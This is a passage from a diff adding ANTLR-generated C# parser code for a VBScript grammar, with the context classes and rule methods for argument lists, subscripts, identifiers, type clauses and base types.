ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDefaultMemberAccess(this); + } + } + + [RuleVersion(0)] + public DefaultMemberAccessContext defaultMemberAccess() { + DefaultMemberAccessContext _localctx = new DefaultMemberAccessContext(Context, State); + EnterRule(_localctx, 282, RULE_defaultMemberAccess); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2903; + Match(EXCLAMATIONMARK); + State = 2904; + ambiguousIdentifier(); + State = 2906; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,496,Context) ) { + case 1: + { + State = 2905; + typeHint(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ArgListContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgContext[] arg() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgContext arg(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public ArgListContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_argList; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterArgList(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitArgList(this); + } + } + + [RuleVersion(0)] + public ArgListContext argList() { + ArgListContext _localctx = new ArgListContext(Context, State); + EnterRule(_localctx, 284, RULE_argList); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2908; + Match(LPAREN); + State = 2926; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,501,Context) ) { + case 1: + { + State = 2910; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2909; + Match(WS); + } + } + + State = 2912; + arg(); + State = 2923; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,500,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2914; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2913; + Match(WS); + } + } + + State = 2916; + Match(COMMA); + State = 2918; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2917; + Match(WS); + } + } + + State = 2920; + arg(); + } + } + } + State = 2925; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,500,Context); + } + } + break; + } + State = 2929; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2928; + Match(WS); + } + } + + State = 2931; + Match(RPAREN); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ArgContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTIONAL() { return GetToken(VBScriptParser.OPTIONAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PARAMARRAY() { return GetToken(VBScriptParser.PARAMARRAY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgDefaultValueContext argDefaultValue() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYVAL() { return GetToken(VBScriptParser.BYVAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYREF() { return GetToken(VBScriptParser.BYREF, 0); } + public ArgContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_arg; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterArg(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitArg(this); + } + } + + [RuleVersion(0)] + public ArgContext arg() { + ArgContext _localctx = new ArgContext(Context, State); + EnterRule(_localctx, 286, RULE_arg); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2935; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,503,Context) ) { + case 1: + { + State = 2933; + Match(OPTIONAL); + State = 2934; + Match(WS); + } + break; + } + State = 2939; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,504,Context) ) { + case 1: + { + State = 2937; + _la = TokenStream.LA(1); + if ( !(_la==BYVAL || _la==BYREF) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2938; + Match(WS); + } + break; + } + State = 2943; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,505,Context) ) { + case 1: + { + State = 2941; + Match(PARAMARRAY); + State = 2942; + Match(WS); + } + break; + } + State = 2945; + ambiguousIdentifier(); + State = 2947; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 2946; + typeHint(); + } + } + + State = 2957; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,509,Context) ) { + case 1: + { + State = 2950; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2949; + Match(WS); + } + } + + State = 2952; + Match(LPAREN); + State = 2954; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2953; + Match(WS); + } + } + + State = 2956; + Match(RPAREN); + } + break; + } + State = 2961; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,510,Context) ) { + case 1: + { + State = 2959; + Match(WS); + State = 2960; + asTypeClause(); + } + break; + } + State = 2967; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,512,Context) ) { + case 1: + { + State = 2964; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2963; + Match(WS); + } + } + + State = 2966; + argDefaultValue(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ArgDefaultValueContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + public ArgDefaultValueContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_argDefaultValue; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterArgDefaultValue(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitArgDefaultValue(this); + } + } + + [RuleVersion(0)] + public ArgDefaultValueContext argDefaultValue() { + ArgDefaultValueContext _localctx = new ArgDefaultValueContext(Context, State); + EnterRule(_localctx, 288, RULE_argDefaultValue); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2969; + Match(EQ); + State = 2971; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,513,Context) ) { + case 1: + { + State = 2970; + Match(WS); + } + break; + } + State = 2973; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SubscriptsContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public SubscriptContext[] subscript() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public SubscriptContext subscript(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public SubscriptsContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_subscripts; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSubscripts(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSubscripts(this); + } + } + + [RuleVersion(0)] + public SubscriptsContext subscripts() { + SubscriptsContext _localctx = new SubscriptsContext(Context, State); + EnterRule(_localctx, 290, RULE_subscripts); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2975; + subscript(); + State = 2986; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,516,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2977; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2976; + Match(WS); + } + } + + State = 2979; + Match(COMMA); + State = 2981; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,515,Context) ) { + case 1: + { + State = 2980; + Match(WS); + } + break; + } + State = 2983; + subscript(); + } + } + } + State = 2988; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,516,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SubscriptContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + public SubscriptContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_subscript; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSubscript(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSubscript(this); + } + } + + [RuleVersion(0)] + public SubscriptContext subscript() { + SubscriptContext _localctx = new SubscriptContext(Context, State); + EnterRule(_localctx, 292, RULE_subscript); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2994; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,517,Context) ) { + case 1: + { + State = 2989; + valueStmt(0); + State = 2990; + Match(WS); + State = 2991; + Match(TO); + State = 2992; + Match(WS); + } + break; + } + State = 2996; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AmbiguousIdentifierContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] IDENTIFIER() { return GetTokens(VBScriptParser.IDENTIFIER); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IDENTIFIER(int i) { + return GetToken(VBScriptParser.IDENTIFIER, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousKeywordContext[] ambiguousKeyword() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousKeywordContext ambiguousKeyword(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode L_SQUARE_BRACKET() { return GetToken(VBScriptParser.L_SQUARE_BRACKET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode R_SQUARE_BRACKET() { return GetToken(VBScriptParser.R_SQUARE_BRACKET, 0); } + public AmbiguousIdentifierContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ambiguousIdentifier; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterAmbiguousIdentifier(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitAmbiguousIdentifier(this); + } + } + + [RuleVersion(0)] + public AmbiguousIdentifierContext ambiguousIdentifier() { + AmbiguousIdentifierContext _localctx = new AmbiguousIdentifierContext(Context, State); + EnterRule(_localctx, 294, RULE_ambiguousIdentifier); + int _la; + try { + int _alt; + State = 3012; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + case IDENTIFIER: + EnterOuterAlt(_localctx, 1); + { + State = 3000; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + State = 3000; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case IDENTIFIER: + { + State = 2998; + Match(IDENTIFIER); + } + break; + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + { + State = 2999; + ambiguousKeyword(); + } + break; + default: + throw new NoViableAltException(this); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 3002; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,519,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + case L_SQUARE_BRACKET: + EnterOuterAlt(_localctx, 2); + { + State = 3004; + Match(L_SQUARE_BRACKET); + State = 3007; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + State = 3007; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case IDENTIFIER: + { + State = 3005; + Match(IDENTIFIER); + } + break; + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + { + State = 3006; + ambiguousKeyword(); + } + break; + default: + throw new NoViableAltException(this); + } + } + State = 3009; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( (((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & 562949936644063L) != 0) || _la==IDENTIFIER ); + State = 3011; + Match(R_SQUARE_BRACKET); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AsTypeClauseContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AS() { return GetToken(VBScriptParser.AS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeContext type() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEW() { return GetToken(VBScriptParser.NEW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public FieldLengthContext fieldLength() { + return GetRuleContext(0); + } + public AsTypeClauseContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_asTypeClause; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterAsTypeClause(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitAsTypeClause(this); + } + } + + [RuleVersion(0)] + public AsTypeClauseContext asTypeClause() { + AsTypeClauseContext _localctx = new AsTypeClauseContext(Context, State); + EnterRule(_localctx, 296, RULE_asTypeClause); + try { + EnterOuterAlt(_localctx, 1); + { + State = 3014; + Match(AS); + State = 3015; + Match(WS); + State = 3018; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,523,Context) ) { + case 1: + { + State = 3016; + Match(NEW); + State = 3017; + Match(WS); + } + break; + } + State = 3020; + type(); + State = 3023; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,524,Context) ) { + case 1: + { + State = 3021; + Match(WS); + State = 3022; + fieldLength(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class BaseTypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BOOLEAN() { return GetToken(VBScriptParser.BOOLEAN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYTE() { return GetToken(VBScriptParser.BYTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COLLECTION() { return GetToken(VBScriptParser.COLLECTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DATE() { return GetToken(VBScriptParser.DATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLE() { return GetToken(VBScriptParser.DOUBLE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGER() { return GetToken(VBScriptParser.INTEGER, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LONG() { return GetToken(VBScriptParser.LONG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OBJECT() { return GetToken(VBScriptParser.OBJECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SINGLE() { return GetToken(VBScriptParser.SINGLE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRING() { return GetToken(VBScriptParser.STRING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode VARIANT() { return GetToken(VBScriptParser.VARIANT, 0); } + public BaseTypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_baseType; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBaseType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBaseType(this); + } + } + + [RuleVersion(0)] + public BaseTypeContext baseType() { + BaseTypeContext _localctx = new BaseTypeContext(Context, State); + EnterRule(_localctx, 298, RULE_baseType); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3025; + _la = TokenStream.LA(1); + if ( !((((_la) & ~0x3f) == 0 && ((1L << _la) & 8796135038976L) != 0) || ((((_la - 83)) & ~0x3f) == 0 && ((1L << (_la - 83)) & 536870929L) != 0) || ((((_la - 153)) & ~0x3f) == 0 && ((1L << (_la - 153)) & 524353L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class CertainIdentifierContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] IDENTIFIER() { return GetTokens(VBScriptParser.IDENTIFIER); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IDENTIFIER(int i) { + return GetToken(VBScriptParser.IDENTIFIER, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousKeywordContext[] ambiguousKeyword() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousKeywordContext ambiguousKeyword(int i) { + return GetRuleContext(i); + } + public CertainIdentifierContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_certainIdentifier; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) 